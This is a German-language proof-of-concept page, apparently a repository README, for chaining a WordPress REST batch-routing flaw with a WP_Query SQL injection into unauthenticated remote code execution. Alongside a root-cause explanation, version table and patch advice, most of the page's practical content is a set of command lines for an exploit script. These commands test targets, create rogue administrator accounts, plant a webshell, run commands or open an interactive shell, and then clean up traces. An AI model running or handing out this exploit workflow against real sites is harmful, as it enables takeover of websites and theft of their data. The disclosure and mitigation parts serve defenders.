
WordPress REST API SQLi zu RCE PoC (CVE-2026-63030 & CVE-2026-60137)
TL;DR — Ein nicht authentifizierter Angreifer kann einen WordPress-REST-API-Batch-Routing-Fehler mit einer SQL-Injection in
WP_Querykombinieren, um eine vollständige Remote-Code-Ausführung auf einer Standard-WordPress-Installation zu erreichen — keine Plugins, kein Konto, keine Benutzerinteraktion. Entdeckt von Adam Kues (Assetnote / Searchlight Cyber), der es wp2shell nannte. Gepatcht am 17. Juli 2026 in den Versionen 6.9.5, 7.0.2 und 6.8.6.
CVE-2026-63030 ist der REST-API-Batch-Endpunkt von WordPress Core (/wp-json/batch/v1), der fehlgeschlagene Unteranfragen so schlecht behandelt, dass eine spätere Unteranfrage unter der falschen Route ausgeführt wird. Für sich genommen ist das ein Logikfehler. In Kombination mit CVE-2026-60137 – einer SQL-Injection im Parameter author__not_in von WP_Query – wird daraus eine nicht authentifizierte Remote-Code-Ausführung.
WordPress bewertet CVE-2026-63030 als Critical und CVE-2026-60137 als High; die CVSS-Schätzungen Dritter variieren je nach Tracker (ungefähr 7,5 bzw. 9,1), da keiner der einzelnen Werte vollständig erfasst, was die Kette bewirkt. Behandeln Sie dies unabhängig davon, welche einzelne Zahl Ihnen angezeigt wird, als kritisch – WordPress hielt es für schwerwiegend genug, um automatische Updates auf jeder betroffenen Website zu erzwingen.
Grundursache — Desynchronisation der Batch-Buchhaltung. Wenn eine Unteranfrage in einem Batch die Validierung nicht besteht, wird der resultierende WP_Error in einem internen $validation[]-Array aufgezeichnet – das parallele $matches[]-Array, das für das Routing verwendet wird, wird jedoch nicht entsprechend aktualisiert. Diese Lücke von einem Element verschiebt jede spätere Unteranfrage um eine Position: Unteranfrage N wird mit dem Routenhandler ausgeführt, der für Unteranfrage N+1 vorgesehen ist.
Umgehung der Bereinigung. Da die Unteranfrage unter einem Handler ausgeführt wird, an den sie nie weitergeleitet wurde, überspringt sie dessen eigene Eingabevalidierung – einschließlich Typ- und is_array()-Prüfungen.
SQL-Injection. Diese Lücke ermöglicht es, dass vom Angreifer kontrollierte Eingaben als roher String anstelle eines Arrays an den Parameter author__not_in von WP_Query gelangen. Die is_array()-Sicherung, die es normalerweise ablehnen würde, wird nie ausgeführt, sodass der Wert direkt in eine NOT IN (...)-Klausel interpoliert wird.
Weg zur Kompromittierung. Die Injection ist SELECT-only – keine gestapelten Abfragen – aber auf Hosts, bei denen der Datenbankbenutzer das FILE-Privileg hat, reicht dies aus, um eine PHP-Webshell in das Web-Root zu schreiben. Wenn es nicht verfügbar ist, kann derselbe Injection-Punkt stattdessen per Blind-/UNION-Injection die wp_users-Tabelle für Admin-Passwort-Hashes auslesen. In jedem Fall: Kein Konto, kein Plugin, keine Benutzerinteraktion erforderlich.
sequenceDiagram
participant A as Attacker
participant B as Batch Handler
participant Q as WP_Query
participant D as MySQL
A->>B: POST /wp-json/batch/v1 (crafted multi-request batch)
Note over B: Failed sub-request recorded in one internal array but not the other — indexes drift by one
B->>B: Sub-request N dispatched with sub-request N+1's route handler
Note over B: Wrong handler context — that route's input validation never runs
B->>Q: author__not_in passed as raw string, not array
Note over Q: is_array() guard skipped
Q->>D: SELECT ... WHERE post_author NOT IN (attacker string)
alt DB user has FILE privilege
D-->>A: Writes PHP webshell to web root → RCE
else No FILE privilege
D-->>A: Blind/UNION injection dumps admin password hashes
endgit clone htttps://github.com/GhostInExile/CVE-2026-63030-Wp2Shell
cd CVE-2026-63030-Wp2Shell
pip install -r requirements.txt
python3 CVE-2026-63030.py -t https://target.com --test
# Auto-generate credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin
# Custom credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin -u myadmin -p mypassword
# Auto-create admin, deploy shell, execute single command
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami"
# Interactive shell mode
python3 CVE-2026-63030.py -t https://target.com --shell -i
# Use existing credentials
python3 CVE-2026-63030.py -t https://target.com --shell -U admin -P password -c "id"
# Cleanup after shell session
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami" --cleanup
# Cleanup only (requires shell URL from previous session)
python3 CVE-2026-63030.py -t https://target.com --cleanup \
-U created_admin -P password \
--shell-url "https://target.com/wp-content/plugins/maint-xxx/maint-xxx.php"
# Use proxy
python3 CVE-2026-63030.py -t https://target.com --test --proxy http://127.0.0.1:8080
# Custom timeout
python3 CVE-2026-63030.py -t https://target.com --test --timeout 60
| WordPress-Version | SQLi (CVE-2026-60137) | Routenverwechslung (CVE-2026-63030) | Realweltrisiko |
|---|---|---|---|
| < 6.8.0 | — | — | Nicht betroffen |
| 6.8.0 – 6.8.5 | ✅ | — | Nur SQLi – benötigt ein Plugin/Theme, um nicht vertrauenswürdige Eingaben an author__not_in zu übergeben; auf reiner Core-Installation nicht vor der Authentifizierung erreichbar. Trotzdem patchen. |
| 6.9.0 – 6.9.4 | ✅ | ✅ | Nicht authentifizierte RCE |
| 7.0.0 – 7.0.1 | ✅ | ✅ | Nicht authentifizierte RCE |
| 7.1 Beta 1 | ✅ | ✅ | Nicht authentifizierte RCE (Beta-Kanal) |
GHSA-ff9f-jf42-662q (Routenverwechslung) · GHSA-fpp7-x2x2-2mjf (SQLi)CVE-2026-63030) – gemeldet von Adam Kues von Assetnote / Searchlight Cyber über WordPress' HackerOne-Programm.CVE-2026-60137) – separat gemeldet, als Team, von TF1T, dtro und haongo.6.9.5, 7.0.2, 6.8.6 oder höher – die einzige vollständige Lösung. WordPress hat erzwungene automatische Updates für betroffene Websites aktiviert; bestätigen Sie, dass Ihr Update tatsächlich angewendet wurde, anstatt es anzunehmen./wp-json/batch/v1 als auch ?rest_route=/batch/v1. Nur als Notfallmaßnahme – dies kann die legitime Nutzung der Batch-API (z. B. blockbasiertes Bearbeiten) beeinträchtigen und ersetzt keinen Patch.